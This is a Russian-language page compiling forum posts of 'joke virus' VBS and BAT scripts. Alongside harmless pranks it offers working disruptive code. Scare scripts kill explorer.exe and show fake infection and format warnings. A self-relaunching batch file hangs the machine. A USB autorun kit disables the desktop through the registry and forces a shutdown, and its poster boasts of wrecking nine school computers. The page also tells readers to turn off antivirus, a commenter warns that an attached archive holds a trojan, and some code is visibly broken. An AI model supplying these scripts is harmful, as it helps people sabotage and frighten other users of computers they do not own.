Прикол с дисководом вирус
Обновлено: 22.04.2024
Здравствуйте! В этом посте (первом) я покажу, как создавать вирус шутку через блокнот. Сразу прошу не бомбить и не писать гневные комменты типа: "Да такого миллион!", "Да что ты знаешь!", "Да пошел ты в жопу!" и т.д. Да, я знаю, что эти "вирусы" создавали давно. Но я к примеру открыл для себя это совсем недавно. Месяца 3 назад.
Ближе к делу: я буду рассказывать что эта шутка вообще делает, буду вставлять скрины и все объяснять. Напомню, это ознакомительный пост! В других постах я буду конкретно писать, как создать такой-то вирус.
Вирус-шутка это программа, которую создают в блокноте. Т.е. пишешь там команды и сохраняешь их определенных форматах. Если все правильно сделано, без ошибок, то вирус-шутка сработает. Кстати, "вирус-шутка" это условное название. В блокноте можно создать и игру, и крестики нолики, часы.
ПРЕДУПРЕЖДЕНИЕ. Перед созданием вируса отключите Анти-Вирус.
1) Создание вируса: Для начала откройте блокнот.
2) В блокноте начинайте писать команду. Для начала скопируйте этот текст туда:
msgbox"Ты не против, если я буду жить у тебя в компе?",32+4,"Вопрос"
msgbox"Ок, ты не против",64,"Я понял"
msgbox"Ок, ты не против",64,"Я понял"
msgbox"Это шутка, это НЕ вирус :) ХАХАХАХА",64,"Я пошутил"
msgbox"Или же нет. ",64,". "
Я НЕ ЖЕЛАЮ ВАМ ЗЛА! ЭТОТ ВИРУС НЕ МОЖЕТ ПРИНЕСТИ ВАМ И ВАШЕМУ КОМПУ ВРЕДА!
3) Сохраните ваш текст в формате .vbs Смотрите далее.
4) Теперь у вас на Рабочем столе должен появиться вот такой значок:
5) Заходите в него.
6) У вас должен открыться вирус-шутка. Если же не работает, то два варианта: либо у вас включен Анти-Вирус, либо ваш комп не поддерживает это.
7) НЕ ПУГАЙТЕСЬ! ВИРУС-ШУТКА НЕ ПРИНЕСЕТ ВРЕДА. Теперь вам осталось читать то, что там написано, и кликать по кнопкам (любым).
Вы можете изменить в команде вируса текст. Например вместо "Windows удалить?" можно написать "ставьте лайки!". Удачи вам, экспериментируйте со своими вирусами!
И так, как я обещал, это был ознакомительный пост. Вскоре я выложу пост, где подробно опишу все значения, как все делать и т.д. Отпишитесь в тапках как вам мой пост, киньте скрины своего вируса. Мне будет интересно :D
*.vbs скрипты-приколы Подборка приколов
Чтобы включить скрипт необходимо открыть блокнот, вставить туда vbs скрипт и сохранить с расширением *.vbs, а затем просто запустить.
1. vbs Скрипт-пугалка (якобы вирус)
Скрипт:
2. Бесконечно пищащий системный динамик
Действие:
vbs скрипт заставляет бесконечно пищать системный динамик в процессоре компьютера
Скрипт:
3. Мигающая клавиатура
Действие:
Заставляет мигать лампочки у клавиатуры, а так же делает написанный текст вида: ПрИмЕр ТеКсТа
vbs Скрипт:
4. Въезжающий - выезжающий дисковод
Действие:
Заставляет бесконечно въезжать - выезжать дисковод в компьютере
vbs Скрипт:
5. Бесконечно жужжащий разъем для дискет
Действие:
Имитирует, что в приводе для дискет находится дискета. Заставляет его жужжать.
Скрипт:
ВНИМАНИЕ. Чтобы отключить скрипт необходимо в процессах (вкладка в диспетчере задач) завершить wscript.exe
можно на бат командах замутить следующее -
Создаем файл с именем 123.bat и в нем пишем код start 123.bat и все он сам себя бесконечно будет запускать пока комп тупо не зависнит. ) лучше в конце еще pause поставить)
я с тобой не согласен! он выразил свое мнение и че сразу бан?0_0 если так говорить можно пол сайта забанить! в теме мигающая клавиатура многие так писали и ниче!
Растеадор_СС такая тема уже есть
Или вот постршанее
_____________________________________________
on error resume next
set t=createobject("Wscript.Shell")
set kill = createobject("wscript.shell")
kill.run"taskkill /f /im explorer.exe",0
msgbox"Неполадка системы",16,"Error"
msgbox"Вы заражены вирусом",48,"Windows"
msgbox"Перезапуск системы уничтожит все файлы на дисках С; D;",16,"Windows"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"explorer"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"help"
msgbox"Сбой системы",16,"Windows"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"explorer"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"help"
msgbox"Сбой системы",16,"Windows"
msgbox"Все с компом в порядке!",16,"Windows"
msgbox"Поменяй памперс))))",16,"Windows"
msgbox"Нажми Ctrl+Alt+Del найди wscript. exe Правою кл. мишки Уничтожить процес(Уничтожить процес и его дерево не жми эта прога нада компу)",16,"Windows"
msgbox"Нажмеш сейчас ОК и не сделаеш как я сказал пожалееш!!",16,"Windows"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"explorer"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"help"
msgbox"Сбой системы",16,"Windows"
t.run"help"
t.run"help"
t.run"help"
?Joker? сказал:
открой блокнот,
вставь то что нужно,
Нажми сохранить как
, и сохрани под именем 1.vbs
ВСЕ. потом просто открываешь, как открываешь любую папку,файл.
*.vbs скрипты-приколы Подборка приколов
Моя версия 1-го скрипта:
И моё личное "творчество" :
Вот мой один из приколов. Есть и баннер на скриптах! Но выкладыват стрёмно! Видео как работает могу выложить.
Ща делаю самодельную ОС на скриптах.
Прикрепленные файлы
- Архив ZIP - WinRAR (2).zip(399байт)
Количество загрузок:: 1061
poghosyanjan, ты чё . В твоём файле троянский шпион. Он следит за вашай клавой и т.д. и отсылает ваши пароли (с почты и т.д.). Короче слежка за вашим компом! НЕ КАЧАЙТЕ! (только если вам на всё . ). Эта тема про скрипты а не про файлы со стрёмным расширением типа psa!
разные, ну там есть вирус который форматирует комп., или есть вирусы для прикола ну открываешь и все он блокирует дисп. задач, старт короче все, и Т.Д.
прикинте на информатике с другом сделали bat123 хахаха ваще училка на нас так жестоко сказала в кс недаст больше играть
Народ, у меня тут проблема со скриптом на мигание ламп клавиатуры (капс лок, нум лок, и скролл лок) Хоть я скрипт и вырубил, текст печатается в виде цифр и букв (например Пр1м5е3 5е3кст5) Что делать.
Народ, у меня тут проблема со скриптом на мигание ламп клавиатуры (капс лок, нум лок, и скролл лок) Хоть я скрипт и вырубил, текст печатается в виде цифр и букв (например Пр1м5е3 5е3кст5) Что делать.
Сам скрипт тут не причем. Возможно глюк системы
вот скрипт, который при запуске произносит слова написанные в транслите между ""
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak "vash tekst translitom"
А есть скрип который сможет поменять фоновый рисунок рабочего стола на win7, в скрытом режиме? Очень надо, хочу девушку с днем рождения поздравить через картинку на рабочем столе!
Какого пола твой компьютер?
1) Откройте блокнот
2) Наберите сами или скопируйте:
CreateObject("SAPI.SpVoice").Speak"I love you"
3) Сохраните как xyz.vbs
Смотрим фильм Звездные Войны в командной строке
1. Заходим в пуск
2. Жмем на "Выполнить"
3. И вводим "telnet towel.blinkenlights.nl"
4. Появляется командная строка ждем некоторое время и смотрим фильм Star Wars 4 в ASCII
Вот еще, нашел в интернете, где не помню.
Берем флешку которую вам не жалко (больше вы не сможите ей пользоватся)Создаем на ней:
AUTOEXEC.BAT
Dead.BAT
autorun.ini
______________________________
в Dead.BAT пишем:
@echo off
cp Флешка:AUTOEXEC.BAT C:
msg * "Dead" >nul
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
shutdown -s -t 1 -c "lol" -f >nul
______________________________
в autorun.ini пишем:
[autorun]
OPEN=Dead.BAT
готово!
как это работает:
Вы вставляете флешку autorun.ini автоматически открывает Dead.BAT, Dead.BAT копирует AUTOEXEC.BAT на C и выключает компютер. при следущем запуске система слетает.
вот я и мои друзья уничтожили 9 компом на информатике. А так же если вы хотите вернуть себе флешку то просто вставьте её в комп на котором установлена ОС линукс! А да забыл прикол токо на винде рабоатет
Вот уже батник посерьёзнее:
При открытии меняет клавиши мышки, добавляет себя в автозапуск, убивает диспетчер задач и безопасный режим. Для большей эпичности можно добавить после:
Если честно, на себе эту хрень не испытывал и не хочу. Это уже не прикол а злобный прикол, от которого можно огрести. Лучше не делать его. (Если какие-то ошибки есть-поправьте, пожалуйста)
rarf247, гыгы. Зачотненько, но излечимо за пару минут как в стандартном варианте (не перезагружаясь), так и с загрузкой с какого-нибудь бут-сд Например тот же hiren's..
задаёт вопрос ты лох? не закроится пока не ответят да
скрипт-
do
a = MsgBox ("Ты лох?", 35, "Name")
loop until a = 6
on error resume next
set t=createobject("Wscript.Shell")
Set s = CreateObject("Wscript.Shell")
set kill = createobject("wscript.shell")
kill.run"taskkill /f /im explorer.exe",0
t.run"notepad"
wscript.sleep 580
s.sendkeys"+"
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys"< >"
wscript.sleep 80
s.sendkeys"+"
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 888
s.sendkeys"%"
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
msgbox"Страшно было xD",16,"Шутка"
t.run"explorer.exe"
set t=createobject("Wscript.Shell")
t.run"notepad.exe"
Set s = CreateObject("Wscript.Shell")
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys"< >"
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys"< >"
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys"< >"
wscript.sleep 8
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys"< >"
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys"< >"
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys"< >"
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys"< >"
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys"<.>"
wscript.sleep 80
s.sendkeys"<.>"
wscript.sleep 80
s.sendkeys"<.>"
wscript.sleep 1000
on error resume next
set t=createobject("Wscript.Shell")
set kill = createobject("wscript.shell")
kill.run"taskkill /f /im explorer.exe",0
msgbox"Неполадка системы",16,"Error"
msgbox"Вы заражены вирусом",48,"Windows"
msgbox"Необходим перезапуск системы",16,"Windows"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"explorer"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"help"
msgbox"Сбой системы",16,"Windows"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"explorer"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"help"
msgbox"Сбой системы",16,"Windows"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"explorer"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"help"
msgbox"Сбой системы",16,"Windows"
t.run"help"
t.run"help"
t.run"help"
createobject("WScript.Shell").run "shutdown.exe /r /t 30 /c ""сбой системы выключение. "" /f"
Dim a,b,c
a = inputbox ("Введите первое число ")
b = inputbox ("Введите второе число ")
c = cint(a) * cint(/>/>
MsgBox ("Ответ: " & c)
Народ, у меня тут проблема со скриптом на мигание ламп клавиатуры (капс лок, нум лок, и скролл лок) Хоть я скрипт и вырубил, текст печатается в виде цифр и букв (например Пр1м5е3 5е3кст5) Что делать.
Предлагаю вашему вниманию скрипт скрывающий исполнение задачи (скрывает с рабочего стола)
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "диск:\путь до файла" & Chr(34), 0
Set WshShell = Nothing
Скрипт на выключение компа с отсчетом и возможностью отмены
Dim Btn
Dim a
Set a = CreateObject("WScript.Shell")
a.run "shutdown.exe -s -t 15"
Btn = a.Popup("Ваш ПК выключится через 15 секунд ",1,"Нажмите ОК чтобы отменить выключение",0 + vbSystemModal) ''''
If Btn = 1 Then a.run "shutdown -a" ''
If Btn = 1 Then a.Popup "Выключение отменено ",2,"Автоуничтожение через 2 сек",0 + vbSystemModal '''
If Btn = 1 Then Wscript.Quit '
Btn = a.Popup("Ваш ПК выключится через 14 секунд ",1,"Нажмите ОК чтобы отменить выключение",0 + vbSystemModal)
If Btn = 1 Then a.run "shutdown -a"
If Btn = 1 Then a.Popup "Выключение отменено ",2,"Автоуничтожение через 2 сек",0 + vbSystemModal
If Btn = 1 Then Wscript.Quit
Btn = a.Popup("Ваш ПК выключится через 13 секунд ",1,"Нажмите ОК чтобы отменить выключение",0 + vbSystemModal)
If Btn = 1 Then a.run "shutdown -a"
If Btn = 1 Then a.Popup "Выключение отменено ",2,"Автоуничтожение через 2 сек",0 + vbSystemModal
If Btn = 1 Then Wscript.Quit
Btn = a.Popup("Ваш ПК выключится через 12 секунд ",1,"Нажмите ОК чтобы отменить выключение",0 + vbSystemModal)
If Btn = 1 Then a.run "shutdown -a"
If Btn = 1 Then a.Popup "Выключение отменено ",2,"Автоуничтожение через 2 сек",0 + vbSystemModal
If Btn = 1 Then Wscript.Quit
Btn = a.Popup("Ваш ПК выключится через 11 секунд ",1,"Нажмите ОК чтобы отменить выключение",0 + vbSystemModal)
If Btn = 1 Then a.run "shutdown -a"
If Btn = 1 Then a.Popup "Выключение отменено ",2,"Автоуничтожение через 2 сек",0 + vbSystemModal
If Btn = 1 Then Wscript.Quit
Btn = a.Popup("Ваш ПК выключится через 10 секунд ",1,"Нажмите ОК чтобы отменить выключение",0 + vbSystemModal)
If Btn = 1 Then a.run "shutdown -a"
If Btn = 1 Then a.Popup "Выключение отменено ",2,"Автоуничтожение через 2 сек",0 + vbSystemModal
If Btn = 1 Then Wscript.Quit
Btn = a.Popup("Ваш ПК выключится через 9 секунд ",1,"Нажмите ОК чтобы отменить выключение",0 + vbSystemModal)
If Btn = 1 Then a.run "shutdown -a"
If Btn = 1 Then a.Popup "Выключение отменено ",2,"Автоуничтожение через 2 сек",0 + vbSystemModal
If Btn = 1 Then Wscript.Quit
Btn = a.Popup("Ваш ПК выключится через 8 секунд ",1,"Нажмите ОК чтобы отменить выключение",0 + vbSystemModal)
If Btn = 1 Then a.run "shutdown -a"
If Btn = 1 Then a.Popup "Выключение отменено ",2,"Автоуничтожение через 2 сек",0 + vbSystemModal
If Btn = 1 Then Wscript.Quit
Btn = a.Popup("Ваш ПК выключится через 7 секунд ",1,"Нажмите ОК чтобы отменить выключение",0 + vbSystemModal)
If Btn = 1 Then a.run "shutdown -a"
If Btn = 1 Then a.Popup "Выключение отменено ",2,"Автоуничтожение через 2 сек",0 + vbSystemModal
If Btn = 1 Then Wscript.Quit
Btn = a.Popup("Ваш ПК выключится через 6 секунд ",1,"Нажмите ОК чтобы отменить выключение",0 + vbSystemModal)
If Btn = 1 Then a.run "shutdown -a"
If Btn = 1 Then a.Popup "Выключение отменено ",2,"Автоуничтожение через 2 сек",0 + vbSystemModal
If Btn = 1 Then Wscript.Quit
Btn = a.Popup("Ваш ПК выключится через 5 секунд ",1,"Нажмите ОК чтобы отменить выключение",0 + vbSystemModal)
If Btn = 1 Then a.run "shutdown -a"
If Btn = 1 Then a.Popup "Выключение отменено ",2,"Автоуничтожение через 2 сек",0 + vbSystemModal
If Btn = 1 Then Wscript.Quit
Btn = a.Popup("Ваш ПК выключится через 4 секунды ",1,"Нажмите ОК чтобы отменить выключение",0 + vbSystemModal)
If Btn = 1 Then a.run "shutdown -a"
If Btn = 1 Then a.Popup "Выключение отменено ",2,"Автоуничтожение через 2 сек",0 + vbSystemModal
If Btn = 1 Then Wscript.Quit
Btn = a.Popup("Ваш ПК выключится через 3 секунды ",1,"Нажмите ОК чтобы отменить выключение",0 + vbSystemModal)
If Btn = 1 Then a.run "shutdown -a"
If Btn = 1 Then a.Popup "Выключение отменено ",2,"Автоуничтожение через 2 сек",0 + vbSystemModal
If Btn = 1 Then Wscript.Quit
Btn = a.Popup("Ваш ПК выключится через 2 секунды ",1,"Нажмите ОК чтобы отменить выключение",0 + vbSystemModal)
If Btn = 1 Then a.run "shutdown -a"
If Btn = 1 Then a.Popup "Выключение отменено ",2,"Автоуничтожение через 2 сек",0 + vbSystemModal
If Btn = 1 Then Wscript.Quit
Btn = a.Popup("Ваш ПК выключится через 1 секунду ",1,"Нажмите ОК чтобы отменить выключение",0 + vbSystemModal)
If Btn = 1 Then a.run "shutdown -a"
If Btn = 1 Then a.Popup "Выключение отменено ",2,"Автоуничтожение через 2 сек",0 + vbSystemModal
If Btn = 1 Then Wscript.Quit
1. Скрипт-пугалка (якобы вирус)
2. Бесконечно пищащий системный динамик
Действие:
Заставляет бесконечно пищать системный динамик в процессоре компьютера
Set S = CreateObject("Wscript.Shell")
do
execute"S.Run ""%comspec% /c "" & Chr(7), 0,True"
loop
3. Мигающая клавиатура
Действие:
Заставляет мигать лампочки у клавиатуры, а так же делает написанный текст вида: ПрИмЕр ТеКсТа
Set s = CreateObject("Wscript.Shell")
do
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys"
Место для тегов: vbs, vbs сркипты, vbs скрипты приколы, приколы на пк, вбс скрипты, вбс приколы, vbs приколы, vbs исходники, вбс исходники, скрипты, приколы, vbs примеры, примеры, приколы, приколы на пк, приколы windows, vbs, bat, вбс, бат
Текстовый урок по созданию выполняемого файла:
1.Создать текстовый документ.
2.В созданном файле напишите код программы.
3.После перейдите по "Сохранить как. " в меню "Файл".
4.В открывшимся окне в строке "Тип файла" выберите "Все файлы", в строке "Имя файла" напишите желаемое имя файла с добавленным в конце расширение файла (.vbs / .bat).
1.Не опасно
2.Компьютер произведет англ. буквы/слова
3.VBS
4.
1.Не опасно
2.Открытие и закрытие дисковода в бесконечном цикле Do. Loop
3.VBS
4.
Set WMPlayer = CreateObject("WMPlayer.OCX.7")
Do
WMPlayer.CdRomCollection.Item(0).Eject()
Loop
1.Не опасно
2.Вывод случайных числ в CMD "окрашенных" в зеленый (матрица)
3.Bat
4.
@echo off
pause
color 0a
mode 1
:A
echo %random%10%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%
goto A
1.Не опасно
2.Цикличное включение/выключение индикаторов Num Lock, CapsLock, ScrollLock
3.VBS
4.
Set st = CreateObject("Wscript.Shell")
Do
WScript.sleep 80
st.sendkeys""
WScript.sleep 80
st.sendkeys""
WScript.sleep 80
st.sendkeys""
WScript.sleep 80
Loop
MsgBox "Windows будет отформатирован, Да - произвести форматирование немедленно. Нет - сделать это перед окончанием работы системы", 20, "System error"
MsgBox "Ваш компьютер заблокирован"
For i=15 to 1 Step -1
MsgBox "Компьютер сгорит через " & i
Next
MsgBox "Если ты готов, нажимай на ОК"
Set st = CreateObject("Wscript.Shell")
st.run"%SystemRoot%\system32\calc.exe"
st.run"%SystemRoot%\system32\calc.exe"
st.run"%SystemRoot%\system32\calc.exe"
Do
a = MsgBox ("Отформатировать, Ok?", 35, "System")
Loop Until a = 6
Читайте также: